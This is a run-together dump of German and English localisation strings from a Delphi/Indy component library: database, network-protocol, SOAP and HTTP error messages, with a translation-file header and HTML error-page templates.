nicht eigebunden werden.Treiber (%s) in der CFG-Datei (%s) nicht gefundenTut uns leid, dieser Befehl ist uns nicht bekanntTyp %s ist nicht registriertTyp auf %s gesetzt.Typ für Feld '%s' ist unbekanntTyp kann nicht in Variant umgewandelt werdenTyp varDate wird nicht unterstütztTyp varDispatch wird nicht unterstütztTyp varError wird nicht unterstütztTyp varVariant wird nicht unterstütztTypeEditTypname fehltUDP Empfangsfehler = 0.UKBucketsUMASK wurde auf %.3d gesetzt (war %.3d)URL-Eigenschaft nicht gesetzt - geben Sie die URL des Services an, zu dem Sie verbunden werden möchtenURL-Endpunkt für Service/Port '%s'/'%s' kann nicht von WSDL '%s' gelesen werdenUUCP-SubsystemUhrzeitUhrzeit-Daemon (1)Uhrzeit-Daemon (2)Um Socket-Verbindungen verwenden zu können, muss WinSock2 installiert seinUm das Datum zu setzen, müssen Sie im Modus ShowCheckbox seinUm diese Komponenten verwenden zu können, muß InterBase installiert sein.Umsch+UmschaltenUnbehandelter Xerces-DOM-Fehler (keine Meldung verfügbar): %dUnbekanntUnbekannte AnweisungUnbekannte Anweisung %s.Unbekannte Bilddateierweiterung (.%s)Unbekannte Dateierweiterung für RichEdit-Konvertierung (.%s)Unbekannte Konvertierungsfamilie %sUnbekannte OTP MethodeUnbekannte SOAP-Aktion %sUnbekannte Warteschlange %sUnbekannter Adaptermodus: %sUnbekannter Antwort-CodeUnbekannter Datentyp "%s"Unbekannter FehlerUnbekannter Fehler - Plan kann nicht ermittelt werdenUnbekannter Fehler.Unbekannter ModusUnbekannter SOCKS-Fehler.Unbekannter SQL-Datentyp (%d).Unbekannter TypUnbekannter Typ von Botschaftsteil.Unbekannter benutzerdefinierter Variant-Typ ($%.4x)Unbekannter interne Fehler.Unbekannter oder anderer Fehler: Der Besitzer oder anderer Fehler kann nicht festgelegt werden oder der Fehler kann nicht angezeigt werden.Unbekannter oder ungültiger Facility-CodeUnbekannter oder ungültiger Sicherheits-CodeUnbekanntes FTP-ListenformatUnbenannte AnwendungUnerwartete Operation von %s:%dUnerwartete ZeichenUnerwarteter Fehler bei Variante oder sicherem Array: %s%.8xUnerwarteter ParametertypUnerwarteter RückgabetypUnerwarteter Rückgabewert von onErrorUnerwarteter Rückgabewert von onStatusUnerwarteter Script-FehlerUnerwarteter Variant-FehlerUnerwarteter Wert für AusgabepufferUnerwartetes Ende des Strings [%s]Unerwartetes Schließen.Ungleichmäßige Größe in DecodeToStream.Ungleichmäßige Größe in Encode.Ungültige Abfragezahl %dUngültige Ableitung des komplexen Typs: %sUngültige Aktion %dUngültige Aktion erhalten: %dUngültige AktionsaufzählungUngültige AktionserstellungUngültige AktionsregistrierungUngültige Anmeldung.Ungültige Antwort.Ungültige Anzahl für Text. TIdText muss größer als 1 seinUngültige Aufhebung der AktionsregistrierungUngültige AuswahlUngültige Authentifizierungmethode für SOCKS.Ungültige Batch-Move-ParameterUngültige Batch-OperationUngültige Bcd-Genauigkeit (%d) oder -Skalierung (%d)Ungültige BildgrößeUngültige CRC-PrüfsummeUngültige Codierung. UU gestattet nur Rumpf und AnlageUngültige Codierung. UU gestattet nur die Benutzung von Nachrichtenrumpf und -Anlage.Ungültige Colormap. Dieses ActionBand benötigt ColorMaps des Typ TCustomActionBarColorMapExUngültige Datenkonvertierung.Ungültige DispID für Parameter %d in Methode %sUngültige Ebene (%d) für Eintrag "%s"Ungültige Enumeration von Web-KomponenteUngültige FamilieUngültige FeldgrößeUngültige FeldregistrierungUngültige GleitkommaoperationUngültige Grafik (die Größe ist geringer als 4 Byte).Ungültige Gruppendeklaration in "%s"Ungültige GrößeUngültige HTTP-Anforderung: Länge ist 0Ungültige HTTP-Antwort: Länge ist 0Ungültige Header-Id %dUngültige IP-AdresseUngültige ISAPI-Anwendung: %sUngültige ImageListUngültige Klassenreferenz für TAppletApplicationUngültige KomponentenregistrierungUngültige Länge von Wert: sollte 32 sein.Ungültige Millisekunde: %dUngültige Minute: %dUngültige NULL-Variant-OperationUngültige NachrichtennummerUngültige Namespace-AnforderungUngültige Netzwerkmaske.Ungültige Operation für TOleGraphicUngültige Operation für einen hosted-KnotenUngültige Option %sUngültige Option angegebenUngültige Package-Datei '%s'Ungültige Paketgröße %dUngültige PortnummerUngültige Registrierung der Web-KomponenteUngültige RückmeldungUngültige SOAP-AnforderungUngültige SOAP-AntwortUngültige SOAP-Array-FestlegungUngültige SQL-Datums-/UhrzeitwerteUngültige Sekunde: %dUngültige Sekunde: %fUngültige Stream-OperationUngültige StringkonstanteUngültige Stunde: %dUngültige TypumwandlungUngültige URL '%s' - unterstützt nur Schemata 'http' und 'https'Ungültige Variant-OperationUngültige Variant-Operation ($%.8x)Ungültige Variant-Operation (%s%.8x) %sUngültige Variant-TypumwandlungUngültige Verwendung eines SchlüsselwortsUngültige ZeigeroperationUngültige Zuweisung von EbenenUngültige Zuweisung von EintragsebenenUngültige numerische EingabeUngültige oder unbekannte ZeitzoneUngültige syslog-Botschaft: Nicht korrekte PRI-Nummer "%s"Ungültige syslog-Botschaft: Nicht korrekter PRI-AbschnittUngültige syslog-Botschaft: Paket zu groß (%d Byte)Ungültige syslog-Botschaft: Ungültiger Zeitstempel "%s"Ungültige ÄnderungUngültige übergeordnete Klasse: %sUngültiger %s-Wert: "%s"Ungültiger Aliasname %sUngültiger BesitzerUngültiger BinärwertUngültiger Dateiname - %sUngültiger Datentyp für '%s'Ungültiger Dezimal-String: ''%s''Ungültiger DimensionsindexUngültiger Eigenschaftstyp: %sUngültiger EigenschaftswertUngültiger Eingabewert. Mit der Taste ESC machen Sie die Änderungen rückgängig.Ungültiger Enum-WertUngültiger FilterausdruckUngültiger Formattyp für BCDUngültiger GliederungsindexUngültiger Host-Name. Ein SYSLOG Host-Name darf keine Leerzeichen enthalten("%s")+Ungültiger ImageList-IndexUngültiger IndexUngültiger KnotentypUngültiger Monat: %dUngültiger Name für integrierten Typ "%s"Ungültiger Parameterindex (Der Index überschreitet den erlaubten Bereich).Ungültiger Pfad für EigenschaftUngültiger Port-Bereich (%d - %d)Ungültiger Port: Der fremde oder lokale Port ist nicht korrekt angegeben oder ungültigUngültiger Provider. Der Provider wurde bereits vom Anwendungsserver entladenUngültiger Redirect-ParameterUngültiger SQL-DialektUngültiger Sekundenbruchteil: %fUngültiger Sitzungsname %sUngültiger Spaltenindex (Der Index überschreitet den erlaubten Bereich).Ungültiger String-OffsetUngültiger Stunden-Offset: %dUngültiger Tag: %dUngültiger TypUngültiger URL-codiertes Zeichen (%s) bei Position %dUngültiger Variant-TypUngültiger WertUngültiger Wert für Feld '%s'Ungültiger ZeigerUngültiger Zeit-String: %sUngültiger Zeitdauer-String: %sUngültiger ZugriffUngültiger eMail-Adresse %sUngültiger erweiterte Code:Ungültiger numerischer WertUngültiges Antwortklasse.Ungültiges Anweisungs-Handle.Ungültiges ArgumentUngültiges Argument zum Codieren des DatumsUngültiges Argument zur zeit-CodierungUngültiges Argument.Ungültiges DatenpaketUngültiges Eigenschaftselement: %sUngültiges Format der ZwischenablageUngültiges HTML-codiertes Zeichen (%s) an Position %dUngültiges Objekt-VerbUngültiges Package-HandleUngültiges PasswortUngültiges PixelformatUngültiges QueueingUngültiges Stream-FormatUngültiges SymbolUngültiges WSDL-Dokument '%s' - Bitte überprüfen Sie Speicherort und Inhalt! Fehler: %sUngültiges Zeichen im NamenUngültiges Zeichen in Filterausdruck: '%s'Ungültiges oder nicht unterstütztes XML-SchemadokumentUnterbrochener Systemaufruf.Unterelement kann nicht zu Aktionsleiste hinzugefügt werden, wenn ein übergeordnetes Element bereits einer Aktionsleiste zugewiesen istUntergeordneter Knoten kann nicht eingefügt werdenUntermenü ist nicht im MenüUnterschiedliche Größe für Feld '%s'; erwartet: %d, gefunden: %dUnterschiedliche Typen für Feld '%s'; erwartet: %s, gefunden: %sUnterstrichenUnterstützte Erweiterungen: SIZE PASV REST Ende der Erweiterungen.UntersuchtUnzeUnze (Flüssigkeit)Unze (UK)UpdateS&QL-Editor...UseExtensionDataPort muss auf True stehen für IPv6 Verbindungen.UseExtensionDataPort muss auf True stehen für NAT fasttracking.UserPassProvider wurde nicht angegeben!VCRVGVHVariable %s ist kein ContainerVariable nicht gefunden: %sVariant ist kein ArrayVariant-Methodenaufruf nicht unterstütztVariant-Typ oder -größe für Feld '%s' ist ungültigVariant-ÜberlaufVariante des Typs (%s) konnte nicht in Typ (%s) konvertiert werdenVariante oder sicherer Array ist gesperrtVariante oder sicherer Array-Index außerhalb des gültigen BereichsVariante referenziert kein AutomatisierungsobjektVariante referenziert kein OLE-ObjektVarianz von %sVerbinden mit %s.Verbindung aufgehoben.Verbindung besteht bereits.Verbindung für TConnectionBroker nicht gestattetVerbindung hergestelltVerbindung wird getrennt.Verbindung zu Datenbank '%s' nicht möglichVerbindungen jetzt nicht zulassenVerborgener Benutzer: Information wurde nicht auf Anforderung des Benutzers zurückgeschicktVerbotenVerbunden mit %sVerbunden.Verfügb&arVerfügbare &IndizesVerfügbare FelderVergangenVerknüpft %sVerschachtelte Datenmengen müssen von %s vererbt seinVerschiedeneVersion der WINSOCK-DLL ist außerhalb des gültigen Bereichs.Versuch hinter dem Dateiende zu lesenVersuch zu %s wobei die HL7-Komponente nicht funktioniertVersuch, Elemente in ein virtuelles Stillistenfeld einzufügenVersuch, String mit der Länge %d in einem Feld zu speichern, das nur %d aufnehmen kannVertikal anordnenVerwenden Sie ExecProc für Prozeduren; verwenden SieTQuery für Select-ProzedurenVerwenden Sie Open für eine Select-AnweisungVerwendung der HilfeVerwendung unbekannter BeglaubigungVerzInfoVerzeichnis %s ist nicht vorhandenVerzeichnis ist nicht leerVerzeichnis kann nicht erstellt werdenVerzeichnis&name:VideodiscViertelpinte (UK)Viertelscheffel (Trockenmaß)Viertelscheffel (UK)Vierzehn TageVisuellVolumenVom DDE wurde ein Fehler zurückgegeben ($0%x)Von &URL herunterladenVon ID %s referenzierten Knoten nicht gefundenVor dem Öffnen ist eine Verbindung erforderlichVorbedingung fehlgeschlagenVorfahr für '%s' nicht gefundenVorheriger DatensatzWSDLWSDL-Datei/-Ort kann nicht geladen werden: %s. Fehler [%s]WSDL-Ports für PortTypeWSIL:WahrWarnungWarnung des COM-ServersWarnung: WarnungszustandWarteschlange %s Status: %sWaveAudioWeb-Anwendungs-DebuggerWeb-Modul-Factory bereits registriert.Web-Seite enthält keinen InhaltWeb-Seite nicht gefunden: %sWeb-Seite unterstützt Umleitungen nichtWebAppModuleWebSnapWebSnap-AnwendungWebSnap-DatenmodulWebSnap-Datenmodul erzeugenWebSnap-SeitenmodulWebSnap-Seitenmodul erzeugenWechsel zum erweiterten Passiv-Modus (%s) im Gange.Wegen Speichermangel bei DDE ist ein Fehler aufgetreten ($0%x).WeiterWeiterleiten eines leeren SeitennamensWeitersuchen|Letzte Suche wiederholenWeißWenn die Verbindung zu den Clients getrennt wird, kann das zu Fehlern in der Anwendung führen. Weiter?WertWert des Feldes '%s' ist außerhalb des zulässigen BereichsWert für IOHandler ist ungültigWert für Required Param nicht gesetztWert kann nicht gedruckt werdenWert kann nicht geändert werden, während der Socket aktiv istWerte für Milliskeunden müssen zwischen 000 - 999 liegenWerte für Zeitüberschreitung dürfen nicht negativ sein.Werte gruppieren...Wertlisten-EditorWideString kann nicht an eine ungerade Byte-Position geschrieben werdenWideString kann nicht von einer ungeraden Byte-Position aus gelesen werdenWideString-Index außerhalb des gültigen BereichsWidersprüchliche WerteWieder verbinden bei %s: %sWillkommen beim INDY POP3-ServerWillkommen beim INDY SMTP-ServerWin32 Fehler. Code: %d. %sWindows-Socket-Fehler: %s (%d), auf API '%s'Winshoes LPD-Server %s Winsock noch nicht geladen.Winsock-StackWirklicher NameWissenschaftliche Notation kann nicht zu TBcd-Wert konvertiert werdenWocheWollen Sie auf die Standard-Prioritätenverteilung zurücksetzen?Wollen Sie wirklich beenden?Während AutoSessionName aktiviert ist, kann SessionName nicht geändert werden.Während deren Bearbeitung können Ereignisse nicht abgebrochen werdenWürfeleigenschaftenXML-Auswertungsfehler: XML-Dateien (*.xml)|*.xmlXML-Datenkomponente fehltXML-Dokument konnte nicht erzeugt werdenXMLBroker: %s hat keine VerbindungXMLDataFile muss angegeben werdenXP-AttributXSQLDA-Index außerhalb des gültigen Bereichs.XSQLDA-Name existiert nicht (%s).XTR-Dateien(*.xtr)|*.xtrYardZahl erwartetZeichenkette %s ergibt keine gültige IP.Zeile kann nicht aktualisiert werden. (Keine Aktualisierungs-Abfrage).Zeile kann nicht eingefügt werdenZeile zu langZeilenZeilendrucker-UntersystemZeilenfehlerZeilenindex außerhalb des gültigen Bereichs: %dZeit der Script-Ausführung nach %d Sekunden überschrittenZeit überschritten bei Antwort: Der Server gab keine Antwort und die Abfrage wurde nicht eingestelltZeitüberschreitungZeitüberschreitung bei Beenden von ThreadZeitüberschreitung bei Datenbankverbindung.Zeitüberschreitung bei GatewayZeitüberschreitung bei Verbindung.Zeitüberschreitung beim LesenZeitüberschreitung der Verbindung.ZentarienZentigrammZentiliterZentimeterZentriert|Text zentriert ausrichtenZiehen für das Erstellen von SeparatorenZiel kann in aktivem Zustand nicht geändert werden.Ziel-Stream muss vorhanden seinZieladresse erforderlich.Zirkuläre DataLink-VerweisZirkuläre Datenverbindungen sind nicht erlaubtZirkuläre Provider-Referenzen nicht erlaubt.Zirkuläre Verweise sind nicht gestattetZirkuläre Verweise sind nicht gestattet.Zirkuläre Verweise von Providern sind nicht gestattetZirkulärer Verweis auf Verbindung nicht zulässigZlib-Fehler: Zielpuffer könnte zu klein seinZollZu Frame-Instanzen können keine neuen Komponenten hinzugefügt werden.Zu einer ungültigen Quelle kann nicht verknüpft werden.Zu viele Benutzer.Zu viele BilderZu viele Daten im Puffer.Zu viele Ebenen von remote in Pfad.Zu viele Ebenen von symbolischen Links.Zu viele Einträge in der Liste (%d)Zu viele Empfänger.Zu viele Parameter für Methode %sZu viele Parameter in Methode %sZu viele Prozesse.Zu viele Referenzen; keine Verbindungen möglich.Zu viele TabellenspaltenZu viele Zeilen oder Spalten gelöschtZu viele geöffnete DateienZu viele geöffnete Dateien.Zu wenig ArbeitsspeicherZu wenig SpeicherplatzZu&sammenfassungenZuerst anmelden mit USER.Zugewiesener Wert für Port %d ist ungültigZugriff auf %s verweigert.Zugriff auf Indexfeld '%s' nicht möglichZugriff auf Package-Informationen von '%s' nicht möglichZugriff auf Seite verweigertZugriffsfehler bei temporären Dateien.ZugriffsrechteZugriffsverletzungZugriffsverletzung bei Adresse %p in Modul '%s'. %s von Adresse %pZugriffsverletzung bei Adresse %p. %s von Adresse %pZum Haupt-Server kann keine Verbindung hergestellt werdenZum Implementieren von Interface %s für (SOAP-Aktion/Pfad) %s ist keine aufrufbare Klasse registriert.Zum SpaltenbereichZum ZeilenbereichZur Berechnung von Mittelwerten count(*) verwenden (zählt Nullwerte mit)Zur Zeit ist kein Standard-Drucker gewähltZurückschreiben nicht möglich. (Keine Aktualisierungs-/Einfügen-Abfrage)Zusammenfassung von: %sZweimaliger Aufruf von WriteObject für die gleiche InstanzZwischenablage unterstützt keine SymboleZwischensummen an/ausZyklischer Fehler des Proxys im transparenten Modus.anauscbxFeldercbxGeneratorendieser Anwendung dazu führen könnte, daß die Client-Anwendungennicht korrekt funktionieren. Sind Sie sicher, daß Sie diese Anwendung schließen möchten?frmGeneratorEditorgoColMoving wird nicht unterstützthttp://server.company.com/scripts/httpsrvr.dllhttp://www.indyproject.org/http://www.nevrona.com/indy/include-Dateifehler auf Zeile %d: erwaret virtual, Datei, oder Seite, aber %s gefunden.include-Dateifehler auf Zeile %d: erwartet "include-Dateifehler auf Zeile %d: erwartet =ircuserisc_cancel_events konnte nicht nachgeschlagen werdenisc_event_block konnte nicht nachgeschlagen werdenisc_event_counts konnte nicht nachgeschlagen werdenisc_free konnte nicht nachgeschlagen werdenisc_interprete konnte nicht nachgeschlagen werdenisc_que_events konnte nicht nachgeschlagen werdenleernach DNSName [127.0.0.1] ausgeführt wird Indy SMTPpräsentieren die Küchenspülesigaction call failedstart-Parameter fehlen oder sind nicht korrektttt, tt mmm jjjj hh:mm:ssxmlxtrÄnderungen an CommandText sind nicht gestattetÄnderungen sind nicht gestattetÖ&ffnen...ÖffnenÖffnen mit...Öffnen|Vorhandene Datei öffnenÜberlappendÜberlauf bei der Konvertierung einer Variante vom Typ (%s) in Typ (%s)Übersetzer DTD nach XML-Schema (.dtd <-> .xsd)Übersetzer XDR nach XML-Schema (.xdr <-> .xsd)Übersetzer XMLData nach XML-Schema (.xml -> .xsd)ÜbersetzungsrelevantÜberspringenProject-Id-Version: POT-Creation-Date: PO-Revision-Date: 2007-12-01 21:37+0100 Last-Translator: Steffen Language-Team: XAN MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Poedit-SourceCharset: iso-8859-1 Log S&ize (%dx%d) - Dock zone has no control - Dock zone not found Assign Data From Database is already in the query is not an allowed dimension type is not an allowed summary type not specified!-!IdHL7.pas,0.00-011,08 Mar 02 17:59,12259"%s" Command not implemented."%s" created."%s" is working directory.%0:s: Action %1:s not found in associated Adapter%0:s: Dataset %1:s not active%0:s: Dataset %1:s unknown keyfields%0:s: ValueField property value is blank%0:s: Field "%1:s" not found%0:s: Field %1:s not found in associated Adapter%d current connections%d is an invalid PageIndex value. PageIndex must be between 0 and %d%d: Circular links are not allowed%f Julian cannot be represented as a DateTime%g is not a valid value for field '%s'. The allowed range is %g to %g%s%s %s Error: (%d)%s%s (%s, line %d)%s - PortTypes:%s ActionManager property has not been assigned%s Address Error%s Address Okay%s Command successful.%s Properties%s Non-visual component for 32-bit Delphi.%s directory structure.%s [%s%s]%s on %s%s not in a class registration group%s cannot be set on a ref item%s expected%s has a factor of zero%s on line %d%s is already associated with %s%s is corrupt.%s is not a Gopher+ server%s is not a valid BCD value%s is not a valid value for field '%s'. The allowed range is %s to %s%s not allowed after EPSV ALLUnable to execute %sUnable to Load %sUnable to open %sUnable to move %s to %s%s does not allow hidingCannot assign a %s to a %sCould not parse %s%s could not be loaded.%s must be the lookup table's active index%s does not support file uploadWe do not relay %s%s has not been registered as a COM class%s%s%s %s%s%s%s Database%s%s%s Index FilesEditing %s%s%s%s, Default%s error %d, %s%s.Seek not implemented%s.XMLBroker = nil%s.XMLComponent = nil%s: Adapter property is nil%s: Action name is blank%s: DataSet property is nil%s: DisplayComponent property is nil%s: Fieldname is blank%s: missing XMLBroker%s_Disp%s_Doc%s_IDs%s_Names%s_RS%s_Table%s_XML&Cancel&Query Text:A&ctions:&Active&AllList all fields or List only the fields in the queryN&o to AllRe&move all&Minimize All&Initial Value&count&BulletsCu&t&Based on:&Base Field&User Name:&Open Picture...Bo&und Properties to Fields:&Bindings&Browser:&Dataset Editor...&Files: (*.*)&Details...Print Set&up...&Browse&Decision Query Editor...&Decision Cube Editor...&Properties&Paste&Get Cell CountsF&ind FirstSelect &Color...&Field&Add fields...&Fields:&Finish&Graphical Query Builder...&Large icons&Grouping&Size:&Help&IP Address&Ignore&Keep inactive connection&Inactive Timeout:&About...&YesCate&gories:&Copy&ItalicShow &tips on toolbarsD&rives:Align &Left&List of Available Fields:Edit &List&Log Traffic&Log To List&Local&Dimensions:&Menu animations:Show f&ull menus after a short delay&No&New&New Message Part...&New field...&Registered Objects Only&OK&Options...Fetch &Params&Parameter overrides:&Password:&Port&Port:&Ports&Protocol:&Code Editor...Align &Right&Undo&Add or Remove Buttons&Key Fields:&Save...&Topic Search&Search Path:&sumToolb&ars:&Table:&Tables:Show shortcut keys in tips&Translate Text&Driver name:&Type&Type:&Browse URL&Underline&DisconnectIP &Version&Tile Vertically&Help on Help&Directories:Find &Next&Retry&Cells&Center&Reset&Summaries:Sub&totals on/off  Link to WS-Inspection document of Services here'%d.%d' is not a valid timestamp'%g' is not a valid date and time'%s' is not a valid floating point value for field '%s''%s' is not a valid floating point value'%s' is not a valid integer value'%s' is not a valid integer value for field '%s''%s' is not a valid property value'%s' is not a valid currency value'%s' is not a valid boolean value'%s' is not a valid boolean value for field '%s''%s' is not a valid date and time'%s' is not a valid time'%s' cannot be opened'%s' is not a valid GUID value''%s'' expected''%s'' is not a valid integer value''%s'' is not a valid date''%s'' is not a valid date and time''%s'' is not a valid time''%s'' is not connected to an InterBase database'(' expected but %s found')' expected but %s found')' or ',' expected but %s found(%d, %d) is not a valid DateDay pair(%d, %d, %d) is not a valid DateWeek triplet(%d, %d, %d, %d) is not a valid DateMonthWeek quad(%d, %d, %d, %d) is not a valid DayOfWeekInMonth quad(ADT)(All Actions)(Array)(Binary)(Checkmark toggles visibility)(No Name)(No Category)(none)(Not Shown)(Not available)(Unassigned)(Null)(None)(Unknown)(Untitled)-Err 501 MailB is not implemented/Clean/Details/List0 lines1999 XML Schema Translator (.xsd <-> .xsd)3D Dark Shadow: [ - no volume label - ];Input;Output;Input/Output;Result;String;SmallInt;Integer;Word;Boolean;Float;Currency;BCD;Date;Time;DateTime;;;;Blob;Memo;Graphic;;;;;Cursor;<#LIST><- &Bind ->

      Error Encountered

      Interface %s not found

      Forbidden (403)

      Access Forbidden

      Unauthorized

      Unauthorized

      Proper authorization is required for this area. Either your browser does not perform authorization, or your authorization has failed. Directory of %s

      Directory of %0:s

      Directory browsing is forbidden

      The requested URL is forbidden

      HTTP status code: 403 The requested URL is forbidden

      The requested URL is forbidden

      HTTP status code: 403 Invalid HTTP request: Method not allowed for HTTP/1.0

      Invalid HTTP request: Method not allowed for HTTP/1.0

      HTTP status code: 400

    • %s (%d bytes)
    • [ %s ]

      Design-time Warnings

      %s

      The requested URL was not found

      The requested URL was not found

      HTTP status code: 404Internal Server Error

      Internal Server Error

      HTTP status code: 500

      HTTP error message: %s%s > %s

      Internal Application Error

      %0:s


      %1:sDocument Moved 302

      Object Moved


      This Object may be found here.

      Internal Server Error 500

      Internal Server Error 500


      Exception: %s
      Message: %s
      Error[%0:d]: %1:s
      Line: %2:d Position: %3:d
      @ Outside address&Active TypeYes to &AllLo&gin PromptDisplay &NameA&ssigned (tried in order listed)B&uild...ABCDEFGHIJKLMNOPAUTH Command OK. Initializing SSLAUTH Data required.Can not set AUTH while connected.Can not set AUTH without SSL.Cannot open AVIAVIVideo&Edit QueryUser abortIntercept GUIDUnable to execute QueryRun a query to fetch information required to estimate cell usage&Query Editor...Query Parameters missing or incorrectStale NFS file handle.Unable to create derived summary.Submit%s Sender Not PermittedAbstract ErrorAccess violation at address %p, accessing address %pFurlongsActiveEditAdapter Request not handled: %0:s, %1:sAdd/Join Tables and Create Field List with SQL BuilderAdministratorWebService Listing AdministratoraddressAggregatesAction can't respone to unknown HTTP methodAction can't redirect to blank URLAction does not provide responseAdd Actions...Active CaptionActive BorderEnabledOLE control activation failedUpdating wrong transaction. Unique transaction expected in setApply UpdatesUpdate failedCannot update, %s is not owned by %sRefresh is only supported if the FileName or XML properties are setUpdate SQL statements not generated, exit anyway?CurrentAcceptedAlert: action must be taken immediately&Alias name:AllAll &FieldsAdd All ActionsAdd All Actions...Add All CommandsAll files (*.*)|*.*All files (*.*)|*.*|Wave files (*.wav)|*.wav|Midi files (*.mid)|*.mid|Video for Windows (*.avi)|*.aviAll Files (*)|*All Files (*.*)|*.*All dimension fields must be grouped. Add all &fieldsAdd All FieldsAdd All ParamsAdd All ColumnsDelete all selected records?Minimize AllReset all usage data?Select AllSelect All|Selects the entire documentGeneral array error.General SOCKS server failure.Alt+&ArrangeOtherRequest rejected or failed.RequestCount:Request Entity To LongRequest-URI Too Long. 256 Chars maxinterrogateDocked control must have a nameRequested action aborted: local error in processing.Requested action aborted: local error in processingRequested action aborted: page type unknown.Requested action not taken: mailbox name not allowedRequested action not taken: mailbox unavailableRequested mail action aborted: exceeded storage allocationRequested action not taken: insufficient system storage Requested action not taken.Requested file action okay, completed.Requested file action aborted.Requested file action not taken.Requested file action pending further information.StoppedAngstromsFailed to Stop: %sNotice: normal but significant conditionEncoding attachmentAnonymous login OK, send e-mail as password.Anonymous user logged in, proceed.CustomizeReply %s on Job ID %sReply Code is not valid: %sTotal Response Time:Unable to execute command, wrong connection state;Current connection state: %s.command must be either USER or QUITCommand Not Handled: %sCommand not supported.&Edit CommandTextCommandText EditorApplication WorkspaceAnyCount of %sAprAprilAquaAresArithmetic in filter expressions not supportedArray elements of type %s are not supportedArray index out of range : %dArray Node: %s has too many elementsArray type expected. Node %sAstronomicalUnitsAsynchronous socket error %dAttributes are not supported on this node typeCannot access field '%s' in a filterGoodbyeGoodbye.Call to %s.GetByte [property Bytes] with index <> [0..%d]Call to GetExtensionVersion FAILED. Error Code: %dCannot call TerminateAndWaitFor on FreeAndTerminate threadsInvokable Class %s implements no interfacesBullets|Inserts a bullet on the current lineAugAugustCannot delete from dataset. (No delete query)Cannot make a visible window modalExpression expected but %s foundexecuteExecution of action %s is not permittedSuccessful executionCan't execute %s %dExecute not supported: %sPrinter selected is not validCut|Cuts the selection and puts it on the Clipboard&Copy Selection&Move SelectionSelection contains a component introduced in an ancestor form which cannot be deletedDelete SelectedMove Selected DownAssertion failedAuthenticatedAuthentication error to socks server.Out of BoundsBCD overflowBDE error $%.4x&Cancel EditCancel edit&Edit DoneExit|Quits the applicationSigning OffPORT/EPRT Command disabled for reserved port range (1-1024).PORT/EPRT Command disabled.Command not permitted when TLS activeCommand refused due to lack of securityAdd CommandsAdd Commands...Command not permitted in this stateBeginning of fileCan not change credentials after handle aquired. Use Release firstCannot resolve to dataset when using nested datasets or references&Activate at StartupMultiLine must be True when TabPosition is tpLeft or tpRightUnexpected error occurred executing %sAn error occurred while attempting to initialize the Borland Database Engine (error $%.4x)Cannot perform this operation on a closed connectionCannot perform this operation on an open connectionNested datasets cannot have a MasterSource&Delete when max exceeded:An unknown error occurred while processing the certificate.Timeout occurred waiting for %s to executeUse count(*) to calculate averages (counts null values)UsersUser logged in, proceed.User not local, Will forwardUserID not foundCustom variant type ($%.4x) is out of rangeCustom variant type ($%.4x) already used by %sCustom variant type ($%.4x) is not usableCustom variant type (%s%.4x) is out of rangeCustom variant type (%s%.4x) already used by %sCustom variant type (%s%.4x) is not usableNeed account for login.Need account for storing files.User name okay, need password.Missing user nameUsername must not be blankUsername: Scan line index out of rangeReady to start TLSConfirmConfirmIdentifier expected&Save Picture...Unable to Replace ImageLoad PictureSave Picture AsPicture EditorPgDnPgUpImage dimensions do not match image list dimensionsScroll BarUnable to load bind parametersUp to %0:s
        Up to root directory
          Bitmap is emptyBitmap image is not validBitmapsBits index out of rangeBlob stream cannot be readBlob stream cannot be writtenBorland Socket Serveruser-level messagesmessages generated internally by syslogdMessage decoder not foundMessage encoder not foundMessage handling failedMaroonBrowseActionByte index out of range.ByteBool, WordBool and LongBool cannot be exposed by WebServices. Please use 'Boolean'Could not load CARDS.DLLCan not set CCC without encyption.CDAudioCHMOD command successful.COUNTALLCRC FailedCachedUpdates not enabledYou cannot call CancelEvents from within an OnEventAlert handlerCelsiusCheckSynchronize called from thread $%x, which is NOT the main threadChildName cannot be blankChunk StartedThe client and server cannot communicate, because they do not possess a common algorithm.Client of TDrag not initializedUnable to stop client threadCloneConnection invalid: distinct ClientDataSet descendentsCodeCommandText does not return a result setCompleteAuthToken is not supportedContentModel not setCreamCube MaximumsCursor not returned from QueryUse Data &Link File&Print...DATDAX ErrorDCOM not installedDDE Error - conversation not established ($0%x)Unable to connect DDE conversationDOM Implementation does not support IDOMParseOptions"%s" DOMImplementation already registeredDPB Constant (%d) is unknownDPB Constant (%s) is unknownDPB Constant (isc_dpb_%s) is unsupportedAttribute already associated with another elementDate is less than minimum of %sDate exceeds maximum of %sFailed attempting to retrieve time zone information.Tab style incompatible with current tab positionField '%s' not foundCould not remove the fieldCould not obtain OLE control window handleUser canceled DecisionCube population.%s Account DisabledFailed to Load StreamGetting the Count of a TComponentsEnumerator object is not supportedExceded Maximum Event limitsNetwork is down.Network unreachable.Network subsystem is unavailable.Object not available: %sProtocol wrong type for socket.Network protocol not supported, use %sProtocol not supported.Protocol not supported, useThe security package is not able to marshall the logon buffer, so the logon attempt has failedThe security package failed to initialize, and cannot be installedFailed to Save StreamThe requested security package does not existThe handle specified is invalidThe specified directory does not exist. Create it?The specified target is unknown or unreachableParent given is not a parent of '%s'The token supplied to the function is invalidThe received certificate has expired.The maximum allowed dimensions of %d has been exceeded.The maximum number of threads for this scheduler is exceeded.The maximum allowed summaries of %d has been exceeded.Databas&e:Can not set DataPortProtection with unencrypted connections.Can not set DataPortProtection after CCC issued.DataSet is nilApplyUpdates error. Error count: %d.DataSource cannot be changedCannot create file "%s". %sFile "%s" not foundCannot create file %sCannot open file "%s". %sCould not open file Uninstall File Name is not setFile name too long.Filename(s)File Operation SuccessfulFile status okay; about to open data connection.File Status:File access deniedRefresh dataClient DataSet DataDisplay Data and SubtotalsDecision Cube&Database:DatabaseCannot set databaseDatabase not assignedDatabase handle owned by a different sessionDatabase ParametersDatabase:Backup Database filesRestore Database FilesData Bindings...Data file saved to %sDataset closedDataset openData set is uni-directionalDataset is too largeData set field is blankData Modification is not permittedData PacketEdit recordInsert recordDelete recordDelete record?Record not foundRecord not found or changed by another userUnable to find record. No key specifiedRecord or field constraint failed.Building data store...Unable to resolve records. Table name not found.String Data type not supported for summariesDatatype of TypeKind: %s not supported as argument for remote invocationData connection already open; transfer starting.Data connection open; no transfer in progress.About to open data connection for %sClosing data connection.Data connection closed abnormally.Scanning data set values...Data AccessDateDateTimeDate range can only be used in multiselect modeDebug: debug-level messagesWeb Application DebuggerDecadesDecagramsDecaLitersDecametersDecasteresDecompression errorDelphiException %sDemos CoordinatorDoesn't support AUTH or the SASL handlers you specified!!Query lacks a Select/From clause.Address type not supported.Initial Value is not legal for this type of GroupingThe caller is not the owner of the desired 